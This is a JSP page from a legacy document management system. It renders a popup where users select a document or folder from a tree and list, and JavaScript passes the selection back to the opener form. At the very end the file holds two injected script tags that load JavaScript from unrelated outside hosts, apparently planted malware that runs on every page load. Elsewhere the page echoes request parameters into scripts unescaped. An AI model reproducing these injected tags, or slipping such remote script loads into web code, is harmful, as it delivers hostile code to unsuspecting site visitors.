<%
/*
 * @(#)ListDmsSelectDocFolder.jsp
 *
 * Copyright (c) 2004 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListDmsSelectDocFolder.jsp

  This is a ListDmsSelectDocFolder page.  It allows multiple file or docuemnt to be selected.

    @author             Jerry zhou
    @company            DCIVision Ltd
    @creation date      12/10/2004
    @version            $Revision: 1.36.2.28 $
*/

%>
<% request.setCharacterEncoding("UTF-8");  %>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.dms.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listDmsSelectSingleForm" scope="request" class="com.dcivision.dms.web.ListDmsSelectSingleForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "dmsSelectSingleList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"common.label.select", GlobalConstant.NOT_AVAILABLE},
                            {"dms.label.document_name", "DOCUMENT_NAME"}
                          };

  String[][] SEARCH_MAP = { {"dms.label.document_name", "DOCUMENT_NAME"}
                          };

  String rootID = listDmsSelectSingleForm.getRootID()==null? request.getParameter("rootID"): listDmsSelectSingleForm.getRootID();
  String parentID = listDmsSelectSingleForm.getParentID()==null? request.getParameter("parentID"): listDmsSelectSingleForm.getParentID();

  DmsDocument rootFolder = (DmsDocument)request.getAttribute("rootFolder");
  List folderTreeList = (List)request.getAttribute("folderTreeList");
  String selectedLocation = (String)request.getAttribute("location");

  String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  List versionList = (ArrayList) request.getAttribute(LIST_NAME+"_versionList");

  String pageFlag = DmsOperationConstant.USE_DOC_FOLDER_PICKER;

  String directURL = request.getParameter("directURL");

  String parentModule = listDmsSelectSingleForm.getParentModule()==null? request.getParameter("parentModule"): listDmsSelectSingleForm.getParentModule();

  String returnTo = listDmsSelectSingleForm.getReturnTo()==null? request.getParameter("returnTo"): listDmsSelectSingleForm.getReturnTo();
  String encodeReturnTo = "";
  if(!Utility.isEmpty(returnTo)){
    encodeReturnTo =java.net.URLEncoder.encode(returnTo);
  }

  final String formName = listDmsSelectSingleForm.getFormName();

   String formName1 = (String)request.getAttribute("formName");

  int     COLUMN_OFFSET = 0;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
   String newRootID = "";
   boolean choiceFlag = true;
   boolean changeFlag = true;
    /* Select the corresponding preference style */
    String preferenceID = sessionContainer.getPreference();
    if (preferenceID==null) {
      preferenceID = SystemParameterFactory.getSystemParameter(SystemParameterConstant.PREFERENCE);
    }

   Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);

   boolean bListVersion = false;
   DocumentRetrievalManager docRetrievalManager = new DocumentRetrievalManager(sessionContainer,conn);
   RootRetrievalManager rootRetrievalManager = new RootRetrievalManager(sessionContainer,conn);
   PermissionManager permissionManager = sessionContainer.getPermissionManager();

   DmsDocument parentDoc = docRetrievalManager.getDocumentByID(TextUtility.parseIntegerObj(parentID));

   String sCurFunctionCode = listDmsSelectSingleForm.getCurFunctionCode()==null ? (String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY) : listDmsSelectSingleForm.getCurFunctionCode();
   //Permission string
   String permission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, rootFolder.getID());
//   DmsRoot personalRoot = (DmsRoot) rootRetrievalManager.getRootObjectByOwnerID(sessionContainer.getUserRecordID());

   DmsRootDAObject rootDAOTep = new DmsRootDAObject(sessionContainer, conn);
   List rootListTep = rootDAOTep.getRootByOwnerIDAndType(sessionContainer.getUserRecordID(), DmsRoot.PERSONAL_ROOT,GlobalConstant.RECORD_STATUS_ACTIVE);
   DmsRoot personalRoot = (DmsRoot)rootListTep.get(0);

   Integer personalID = personalRoot.getRootFolderID();
   String onlyPublic = request.getParameter("onlyPublic") != null ? request.getParameter("onlyPublic") : "";

   if (personalRoot.getID().intValue() == rootFolder.getRootID().intValue()){
     permission = "PERSONAL";
     sCurFunctionCode = SystemFunctionConstant.DMS_PERSONAL_FOLDER;
   }else{
     sCurFunctionCode = SystemFunctionConstant.DMS_PUBLIC_FOLDER;
   }
   LogFactory.getLog(this.getClass()).debug("sCurFunctionCode = " + sCurFunctionCode);
   if (permission=="PERSONAL" || permission.indexOf("Z")>-1 ) {
    bListVersion=true;
    //LABEL_MAP[2][0] = "dms.columnheader.version";
   }

%>

<script language="javascript">
<!--

function changeRoot(rootCombination) {
  var val = rootCombination.split(";");
  setHiddenValue(val[0], val[1]);
}

var selectParentID = "";

function updateTargetLocation(docID, docName, permission, expire, shortcut, parentID) {
  if (permission && !expire && !shortcut) {
    var hiddenField = document.listDmsSelectSingleForm.selectedID;
    var displayField = document.listDmsSelectSingleForm.destinationPath;
    var displayStr = displayField.value;
    hiddenField.value = docID;
    displayField.value =  docName;
    selectParentID = parentID;
  }else if (!permission) {
    alert("<bean:message key="errors.dms.have_no_function_permission" arg0="create"/>");
  }else if (expire) {
    alert("<bean:message key="home.label.icon_expire_doc"/>");
  }else if (shortcut) {
    alert("<bean:message key="dms.message.is_already_shortcut"/>");
  }
  return false;
}

function OptFileSelection(){
  if (document.listDmsSelectSingleForm.destinationPath.value == "")
  {
    alert('<bean:message key="dms.label.no_file_selected"/>');
    return false;
  }
  var parent = window.opener;
  var form = parent.document.<%=formName%>;
  if (form!=null && form!=undefined) {
    /*if(form.<%=listDmsSelectSingleForm.getDisplayFieldName()%>.value!=null&&form.<%=listDmsSelectSingleForm.getDisplayFieldName()%>.value!=""){
      if (document.listDmsSelectSingleForm.selectedID.value==''){
        alert("<bean:message key='dms.message.choose_file'/>");
        return false;
    }
    }*/
    var parentFormName = '<%=listDmsSelectSingleForm.getFormName()%>';
    if (parentFormName == 'maintMtmDocumentRelationshipForm') {
      if ( 0=="<%=parentDoc.getParentID()%>") {
        if (selectParentID=="" || selectParentID=="0") {
          alert("<bean:message key='dms.message.unable_shortcut_root_folder' />");
          return false;
        }
      }
    }

    form.<%=listDmsSelectSingleForm.getDisplayFieldName()%>.value = document.listDmsSelectSingleForm.destinationPath.value;
    form.<%=listDmsSelectSingleForm.getHiddenFieldName()%>.value = document.listDmsSelectSingleForm.selectedID.value;

    if (parentFormName == 'maintMtmDocumentRelationshipForm') {
      form.documentName.value = document.listDmsSelectSingleForm.destinationPath.value;
    }
    var documentID = document.listDmsSelectSingleForm.selectedID.value;
    var rootID = document.listDmsSelectSingleForm.rootID.value;
    var parentID = document.listDmsSelectSingleForm.parentID.value;
    var tempDocumentID ="";

    if (documentID!=null&&documentID!="") {
      tempDocumentID = documentID;
    }else{
      if(("DMS.LCOMPOUND"=="<%=parentModule%>" || "DMS.LPAPER"=="<%=parentModule%>") && ("C" == "<%=parentDoc.getDocumentType()%>" || "P" == "<%=parentDoc.getDocumentType()%>" || "Z" == "<%=parentDoc.getDocumentType()%>") && parentFormName == 'maintMtmDocumentRelationshipForm'){
        alert("<bean:message key='dms.message.unable_shortcut_folder_compound_in_compoundoc'/>");
        return false;
      }else{
        tempDocumentID = parentID;
      }
    }
    /*
     *  Update Code Start
     *  Author              Jim.Zhou
     *  Date                    2006/05/08
     *  Bug                     #3649
     */
    if (parentFormName == 'listDmsAuditTrailForm'){
      form.rootID.value = rootID;
      form.parentID.value = parentID;
    }
    /*
     *  Update Code End
     */

    if('true'!='<%=listDmsSelectSingleForm.getShowAuditTrail()%>'){
    parent.location.href =  "<%=request.getContextPath()%>/dms/MaintMtmDocumentRelationship.do?parentID="+form.parentID.value+"&documentID="+tempDocumentID+"&relationshipType=L&docparent=2&rootID="+form.rootID.value+"&curFunctionCode="+form.curFunctionCode.value+"&permission=&returnTo=<%=encodeReturnTo%>&fromDocFolder=<%=encodeReturnTo%>"+ "&parentModule=<%=listDmsSelectSingleForm.getParentModule()%>&bFromContextMenu=false";
    }
  }
  window.close();
}

function singleFileSelected() {
  var parent = window.opener;
  var displayVal = "";
  var hiddenVal = document.listDmsSelectSingleForm.selectedDoc.value;

  displayVal = selectMenu.options[0].text;
  var namePos = displayVal.indexOf(" (");
  var idPos = hiddenVal.indexOf(":");

  var form = parent.document.<%=listDmsSelectSingleForm.getFormName()%>;
  form.<%=listDmsSelectSingleForm.getDisplayFieldName()%>.value = displayVal.substring(0 , namePos);
  form.<%=listDmsSelectSingleForm.getHiddenFieldName()%>.value = hiddenVal.substring(0, idPos);


  var parentFormName = '<%=listDmsSelectSingleForm.getFormName()%>';
  if (parentFormName == 'maintMtmDocumentRelationshipForm') {
    form.documentName.value = displayVal.substring(0 , namePos);
  }

  window.close();
}
-->
</script>
<!-- Form Section Begin -->
<html:form action="dms/ListDmsSelectDocFolder" method="POST" styleClass="form-style-2">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>
<html:hidden property='rootID'/>
<html:hidden property='parentID'/>
<html:hidden property='formName'/>
<html:hidden property='hiddenFieldName'/>
<html:hidden property='displayFieldName'/>
<html:hidden property='selectedID'/>
<html:hidden property='returnTo' value='<%=returnTo%>'/>
<html:hidden property='parentModule' value='<%=parentModule%>'/>
<html:hidden property='showAuditTrail'/>

<div class="popupPanelTitle">
	<bean:message key="dms.label.select.file_folder"/>
</div>

<div class="popupWrapperContainer">
<!-- Page List Bar Begin -->
<layout:listBar>
    <layout:filterControl/>
    </layout:listBar>
<!-- Page List Bar End -->

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
    <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
    <div>
        <table>
            <tr>
                <td class="filterPanelItem" nowrap>
                    <html:select property="basicSearchField" styleClass="form-style-2-short-pulldown">
                    <html:options stringArray='<%=SEARCH_MAP%>'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap>
                    <html:select property='basicSearchType' styleClass="form-style-2-short-pulldown">
                    <html:options listName='criteriaList'/>
                    </html:select>
                </td>
                <td class="filterPanelItem" nowrap><html:text property='basicSearchKeyword' maxlength='100' onkeypress="onKeyPressHandler(event);" styleClass="form-style-2-textfield" /></td>
            </tr>
        </table>
    </div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listDmsSelectSingleForm, '${listDmsSelectSingleForm.sortAttribute}', '${listDmsSelectSingleForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listDmsSelectSingleForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->

<div>
<table cellpadding="0" cellspacing="0" border="0" width="100%">
  <tr>
  <!-- Table Showing Record List Begin -->
 <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
 <td valign="top" class="dtreeContainer">
 <div id="treeContainer">
 <!-- Hierarchy Tree Begin -->
<%
  String jspPageMappingName = "ListDmsSelectDocFolder";
%>
<script language="JavaScript">
<!--
function handleTreeNodeGeneralDoc(docID,rootID){
  if ("true"=='<%=onlyPublic%>' && rootID=='<%=personalID.toString()%>'){
    alert("<bean:message key='dms.message.personal_cannot_chosen'/>");
  } else {
    document.listDmsSelectSingleForm.parentID.value=docID;
    document.listDmsSelectSingleForm.rootID.value=rootID;
    document.listDmsSelectSingleForm.selectedID.value='';
    document.listDmsSelectSingleForm.submit();
  }
}

function handleTreeNodeCompoundDoc(docID,rootID){
  if ("true"=='<%=onlyPublic%>' && rootID=='<%=personalID.toString()%>'){
    alert("<bean:message key='dms.message.personal_cannot_chosen'/>");
  } else {
      handleTreeNodeGeneralDoc(docID,rootID);
  }
}

function handleTreeNodePaperDoc(docID,rootID){
  if ("true"=='<%=onlyPublic%>' && rootID=='<%=personalID.toString()%>'){
    alert("<bean:message key='dms.message.personal_cannot_chosen'/>");
  } else {
      handleTreeNodeGeneralDoc(docID,rootID);
  }
}

function handleTreeNodeEmailDoc(docID,rootID){
  if ("true"=='<%=onlyPublic%>' && rootID=='<%=personalID.toString()%>'){
    alert("<bean:message key='dms.message.personal_cannot_chosen'/>");
  } else {
    handleTreeNodeGeneralDoc(docID,rootID);
  }
}

function handleTreeNodeFormDoc(docID,rootID){
  if ("true"=='<%=onlyPublic%>' && rootID=='<%=personalID.toString()%>'){
    alert("<bean:message key='dms.message.personal_cannot_chosen'/>");
  } else {
    handleTreeNodeGeneralDoc(docID,rootID);
  }
}

function handleTreeNodeFlowDoc(docID,rootID){
  if ("true"=='<%=onlyPublic%>' && rootID=='<%=personalID.toString()%>'){
    alert("<bean:message key='dms.message.personal_cannot_chosen'/>");
  } else {
    handleTreeNodeGeneralDoc(docID,rootID);
  }
}

function handleTreeSubStaticNodeCompoundDoc(docID,rootID){
  if ("true"=='<%=onlyPublic%>' && rootID=='<%=personalID.toString()%>'){
    alert("<bean:message key='dms.message.personal_cannot_chosen'/>");
  } else {
    handleTreeNodeGeneralDoc(docID,rootID);
  }
}

function handleTreeSubStaticNodePaperDoc(docID,rootID){
  if ("true"=='<%=onlyPublic%>' && rootID=='<%=personalID.toString()%>'){
    alert("<bean:message key='dms.message.personal_cannot_chosen'/>");
  } else {
    handleTreeNodeGeneralDoc(docID,rootID);
  }
}

function handleTreeSubStaticNodeGeneralDoc(docID,rootID){
  if ("true"=='<%=onlyPublic%>' && rootID=='<%=personalID.toString()%>'){
    alert("<bean:message key='dms.message.personal_cannot_chosen'/>");
  } else {
    handleTreeNodeGeneralDoc(docID,rootID);
  }
}

function handleTreeSubStaticNodeEmailDoc(docID,rootID){
  if ("true"=='<%=onlyPublic%>' && rootID=='<%=personalID.toString()%>'){
    alert("<bean:message key='dms.message.personal_cannot_chosen'/>");
  } else {
    handleTreeNodeGeneralDoc(docID,rootID);
  }
}

function handleTreeSubStaticNodeFormDoc(docID,rootID){
  if ("true"=='<%=onlyPublic%>' && rootID=='<%=personalID.toString()%>'){
    alert("<bean:message key='dms.message.personal_cannot_chosen'/>");
  } else {
    handleTreeNodeGeneralDoc(docID,rootID);
  }
}

function handleTreeSubStaticNodeFlowDoc(docID,rootID){
  if ("true"=='<%=onlyPublic%>' && rootID=='<%=personalID.toString()%>'){
    alert("<bean:message key='dms.message.personal_cannot_chosen'/>");
  } else {
    handleTreeNodeGeneralDoc(docID,rootID);
  }
}

function setHiddenValue(parentID, rootID) {
  if ("true"=='<%=onlyPublic%>' && rootID=='<%=personalID.toString()%>'){
    alert("<bean:message key='dms.message.personal_cannot_chosen'/>");
  } else {
    //var targetLoc = tree.getFullPathString();
    //document.maintDmsArchiveForm.addressBar.value=replaceSpecialChar(targetLoc.substring(0, targetLoc.length-1));
    document.listDmsSelectSingleForm.parentID.value=parentID;
    document.listDmsSelectSingleForm.rootID.value=rootID;
    document.listDmsSelectSingleForm.selectedID.value='';
    document.listDmsSelectSingleForm.submit();
  }
}
function changeRoot(rootCombination) {
  var val = rootCombination.split(";");
  handleTreeNodeGeneralDoc(val[0], val[1]);
}

function clickNodeAction(tree, node) {
  var nodeId = node.id;
  var rootId = tree.rootId;
  var fullPath = tree.getFullPathString(node.idx);
  switch (node.tp) {
    case '<%=DmsDocument.COMPOUND_DOC_TYPE%>' : handleTreeNodeCompoundDoc(nodeId, rootId); break;
    case '<%=DmsDocument.PAPER_DOC_TYPE%>'    : handleTreeNodePaperDoc(nodeId, rootId); break;
    case '<%=DmsDocument.EMAIL_DOC_TYPE%>'    : handleTreeNodeEmailDoc(nodeId, rootId); break;
    case '<%=DmsDocument.FORM_DOC_TYPE%>'     : handleTreeNodeFormDoc(nodeId, rootId); break;
    case '<%=DmsDocument.FLOW_DOC_TYPE%>'     : handleTreeNodeFlowDoc(nodeId, rootId); break;
    case '<%=DmsDocument.FOLDER_TYPE%>'       : setHiddenValue(nodeId, rootId, fullPath); break;
    default : alert("not support document type("+node.tp+")");
  }
}
//-->
</script>
    <%
    /*  Update Code Start
   *    By Jim.Zhou
   *    Date 2006.3.28
   */
        if ("listDmsAuditTrailForm".equals(request.getParameter("formName"))){
    %>
    <div id="treeFrameSelection">
    <select name="publicRootList" class="form-dmstree-pulldown" onchange="javascript:changeRoot(this.value);">
	    <logic:present name="publicRootList">
	      <logic:iterate id="dmsRoot" name="publicRootList" scope="request">
	      	<%
	      		int rootFolderID = ((DmsRoot)dmsRoot).getRootFolderID().intValue();
	      		int thisID = ((DmsRoot)dmsRoot).getID().intValue();
	      		String va = "" + rootFolderID + ";" + thisID;
	      		if ("PERSONAL".equals(((DmsRoot)dmsRoot).getRootName()) && rootID.equals(String.valueOf(rootFolderID)) && choiceFlag == true) {
	      			choiceFlag = false;
	      		}
	      		//expect "PERSONAL"
	      		if (!"PERSONAL".equals(((DmsRoot)dmsRoot).getRootName())){
	      		 if (changeFlag) {
	      		 	newRootID = ""+thisID;
	      		 	changeFlag = false;
	      		 }
	      	%>
	        <option value='<%=((DmsRoot)dmsRoot).getRootFolderID()+ ";" + ((DmsRoot)dmsRoot).getID()%>' <%=(rootID.equals(((DmsRoot)dmsRoot).getID().toString())? "selected" : "")%> >
	          <bean:write name="dmsRoot" property="rootName"/>
	        </option>
	        <%
	        	}
	        %>
	      </logic:iterate>
	    </logic:present>
	  </select>
	</div>
    <div id="treeFrame" class="dtreeContainer">
      <dms:tree name='<%="select"+rootID%>' rootId="<%=choiceFlag?rootID:newRootID%>" expandId="<%=parentID%>"></dms:tree>
    </div>
    <script language="javascript">
    <!--
        var divHeight = (<%=listDmsSelectSingleForm.getPageOffset()%>+2)*(20+1)+2;
        FindObj("treeFrame").style.height = divHeight+"px";
    -->
    </script>
        <!-- Hierarchy Tree End -->
    <%
        }else{
    %>
      	  <select name="publicRootList" class="form-dmstree-pulldown" onchange="javascript:changeRoot(this.value);">
	    <logic:present name="publicRootList">
	      <logic:iterate id="dmsRoot" name="publicRootList" scope="request">
	        <option value='<%=((DmsRoot)dmsRoot).getRootFolderID()+ ";" + ((DmsRoot)dmsRoot).getID()%>' <%=(rootID.equals(((DmsRoot)dmsRoot).getID().toString())? "selected" : "")%> >
	          <bean:write name="dmsRoot" property="rootName"/>
	        </option>
	      </logic:iterate>
	    </logic:present>
	  </select>
      <div id="treeFrame" class="dtreeContainer">
      <dms:tree name='<%="select"+rootID%>' rootId="<%=rootID%>" expandId="<%=parentID%>"></dms:tree>
      </div>
    <script language="javascript">
    <!--
        var divHeight = (<%=listDmsSelectSingleForm.getPageOffset()%>+2)*(20+1)+6;
        FindObj("treeFrame").style.height = divHeight+"px";
    -->
    </script>
        <!-- Hierarchy Tree End -->
    <%
        }
    %>
    </div>
 </td>
 <% } %>
  <td valign="top">
  <div id="listContainer">
  <div id="dataGrid" class="listTable">
  <table>
    <!-- Table Column Header Begin -->
    <tr>
    <layout:columnHeader form="listDmsSelectSingleForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listDmsSelectSingleForm.getSortAttribute()%>" sortOrder="<%=listDmsSelectSingleForm.getSortOrder()%>"  copyColumn="false" checkColumn="false" editColumn="false"/>
    </tr>
    <!-- Table Column Header End -->
    <!-- Record Looping Begin -->
    <logic:iterate id="dmsdocument" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
        <%
        /*  Update Code Start
       *    By Jim.Zhou
       *    Date 2006.3.28
       */
            if ("listDmsAuditTrailForm".equals(request.getParameter("formName")) && "PERSONAL".equals(((DmsDocument)dmsdocument).getDocumentName())){
            }else{
        %>
    <tr id="tr<%=((AbstractBaseObject)dmsdocument).getID()%>" onMouseDown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)dmsdocument).getID()%>);">
      <td align="left" nowrap width="45"><%
      List versionAvail = (ArrayList) versionList.get( listLoopCnt.intValue() );
      DmsVersion version = (DmsVersion) versionAvail.get(0);

      DmsDocument docObject = (DmsDocument)dmsdocument;
      if(DmsDocument.DOCUMENT_LINK.equals(docObject.getDocumentType())) {
        DmsDocument dmsDocumentTemp =docRetrievalManager.getRelationshipTargetDocument(docObject.getID(), docObject.getDocumentType(),GlobalConstant.RECORD_STATUS_ACTIVE);
        if(!Utility.isEmpty(dmsDocumentTemp)){
          docObject = dmsDocumentTemp;
        }
      }
      String docPermission = (String)permissionManager.getPermission(conn, GlobalConstant.OBJECT_TYPE_DOCUMENT, docObject.getID());
      boolean hasAccessRight = permissionManager.hasAccessRight(GlobalConstant.OBJECT_TYPE_DOCUMENT, docObject.getID(), "R");
      boolean hasExpire = docObject.isExpired();
      boolean isShortCut = DmsDocument.DOCUMENT_LINK.equals(((DmsDocument)dmsdocument).getDocumentType());

      %><a href="javascript://" onClick="return updateTargetLocation(<%=((DmsDocument)dmsdocument).getID()%>, '<%=TextUtility.escapeJSString(((DmsDocument)dmsdocument).getDocumentName())%>', <%=hasAccessRight%>, <%=hasExpire%>, <%=isShortCut%>,<%=((DmsDocument)dmsdocument).getParentID()%>);" ><html:img src='IconGoBlue16.gif' /></a>
      </td>
      <td align="left">
      <dms:documentInfo docObject='<%=(DmsDocument)dmsdocument%>' permission='<%=docPermission%>' rootDocument='<%=rootFolder%>' pageFlag='<%=pageFlag%>' onClick='false' hasUnderLine='false' />
      </td>
    </tr>
    <%
        }
    %>
    </logic:iterate>
    <input type="hidden" name='listCnt' value='<bean:write name='listLoopCnt'/>'>
    <!-- Record Looping End -->
  </table>
  </div>

<!-- Pager Information Begin -->
<div class="listStatusBar" style="position:absolute;bottom:0px;z-index:10;">
  <layout:pager form="listDmsSelectSingleForm" name='<%=LIST_NAME%>'>
  <div class="statement"><layout:pagerInfo/></div>
  <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
</div>
<!-- Pager Information End -->
</div>
</td>
</tr>
</table>
</div>
<br>
    <table cellpadding="0" cellspacing="0" border="0" width="100%">
      <tr>
        <layout:sectionHeader blackLine="false" mandatory="true"/>
        <td class="formLabelSmallMan" width="25%" valign="top"><nobr><bean:message key='dms.label.file_selected'/>:&nbsp;</nobr></td>
        <td class="formFieldSmall" >
        <html:text property="destinationPath" size="70" maxlength="255" value='<%=selectedLocation%>' readonly='true'/>
        </td>
      </tr>
    </table>
<!-- Table Showing Record List End -->
</div>

<%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
  <script language='javascript' >
  <!--
    var divHeight = (<%=listDmsSelectSingleForm.getPageOffset()%>+2)*(21)+6;
    if (divHeight < "<%=GlobalConstant.TABLE_MINIMUM_HEIGHT%>"){
      divHeight="<%=GlobalConstant.TABLE_MINIMUM_HEIGHT%>";
    }
    FindObj("dataGrid").style.height = divHeight+"px";
    if (FindObj("treeContainer")){
      addLoadEvent(function(){SetDivHeight('listContainer', 'treeContainer')});
    }else{
      addLoadEvent(function(){SetDivHeight('listContainer', 'listContainer')});
    }
  -->
  </script>
<%}%>

<div id="popupPanelBottom">
<div id="buttonSection">
    <html:standardButton label="common.label.confirm" onClick="return OptFileSelection()"/>
    <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
</div>
</div>

</html:form>
<!-- Form Section End -->
<script>addLoadEvent(function(){SetDivHeight('listContainer', 'treeContainer')});</script>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>